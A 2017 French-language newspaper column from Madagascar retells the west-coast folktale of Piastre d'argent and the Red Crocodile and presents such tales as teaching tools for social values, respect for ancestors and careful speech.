La Gazette de la grande ile

regards croisés: Le conte, outil pédagogique ! Parce que les liens sociaux se délitent…

Publié le 13 novembre 2017

Parce que la culture et les valeurs ancestrales malgaches sont en perdition…

Parce que les contes sont des variations sur une histoire familiale avec ses tensions, ses manques, ses conflits. Parce que le conte stimule l’imaginaire de l’enfant, nourrit les représentations et soutient la symbolisation.

Parce que le conte est le miroir de la société, souligne les mentalités, révèle les croyances et valorise certaines conduites.

Regards croisés a retrouvé un conte de la côte ouest de Madagascar qui met en exergue l’attachement à la terre, le respect des ancêtres et l’enfant richesse des vivants. Ce conte a été choisi par analogie avec la réalité malgache actuelle, relayée quotidiennement par la presse (kidnapping, meurtre et vindicte populaire, violation et profanation des tombes, violation et inapplication des lois, vols, délitement des liens sociaux, corruption, mépris de l’intérêt collectif…)

Fasse que ce conte retrouve auprès des Malgaches sa fonction contenante, organisatrice (de la pensée), constructive (de la personnalité) et mette en mots- audibles aux autorités et aux  gouvernants- l’angoisse, les aspirations  de ce peuple asphyxié.

 

Piastre d’argent et le crocodile rouge

 

Il était une fois, Piastre d’argent qui allait à une fête de « bilo ».Et il y avait un fleuve, une rivière. Et le « bilo » se tenait de l’autre côté de l’eau. Et les gens du village venaient ici pour aller au « bilo ». Et alors on appelait le Crocodile rouge :

Grand-père, Crocodile rouge !

Oui, répondait le crocodile

Emmène-nous, nous allons au « bilo ».

Allons-y

C’est que l’eau était profonde, ils ne pouvaient pas passer à pied, ils avaient peur du Crocodile rouge, et c’est pourquoi on l’appelait : c’était lui le maître de cette rivière.

Il les portait, les portait, les portait, et les emmenait les uns après les autres, jusqu’à l’autre rive, pour qu’ils aillent au « bilo ». Une fois qu’ils ont été déposés sur l’autre rive, il y avait une petite fille qui s’appelait Piastre d’argent qui dit :

Crocodile rouge, les amis, il pue des aisselles.

La moche alla rapporter au Crocodile les propos :

Grand-père, Crocodile rouge !

Oui, répondait le crocodile

Piastre d’argent a dit que tu pues des aisselles.

Attend, dit-il, quand elle reviendra.

Ils sont restés là-bas à la fête du « bilo », et une fois la fête finie, ils sont revenus.

Grand-père, Crocodile rouge !

Oui, répondait le crocodile

Ramène-nous, nous rentrons !

Il les ramenait. Il les ramenait. Mais quand Piastre d’argent allait lui sauter sur le dos, il lui dit :

Tu passeras la dernière, toi.

Et il les amena, les uns après les autres, et à la fin il amena Piastre d’argent.

Mais quand il l’amena, il ne la ramena pas auprès de ses camarades ; il l’amena dans son trou. Ses camarades se disent :

Regardez là-bas notre camarade les amis ! Crocodile rouge l’emmène. Et pourquoi ?

Moralité :

La mise en garde de la légèreté des propos, un signe de non maturité propre à la jeunesse.

L’homme élu, médiateur entre les « ancêtres » et les hommes, catalyseur du peuple, ne peut prononcer des propos à la légère et doit mériter le respect.

La fin du conte rapporte que les gens du village sont venus, solidairement sauvé l’enfant…que le Crocodile rouge n’a pas été sacrifié, sa décision : une leçon donnée pour révéler à l’enfant l’inconséquence de son insouciance. C’est un sage qui peut continuer à assurer le passage !

 

… « Peuple malgache, ne soyons pas les descendants de la jument, de la truie, de la vache… » ; Un conte reste un conte, mais il demeure une matière vivante, mouvante, à repenser à chaque génération.

 

– Le conte a été recueilli et traduit entre 1977 et 1984 par Noël J. Gueunier, le long de la côte ouest entre le fleuve Onilahy et l’île Mitsoa-.

 

Nancy Razanatseheno.

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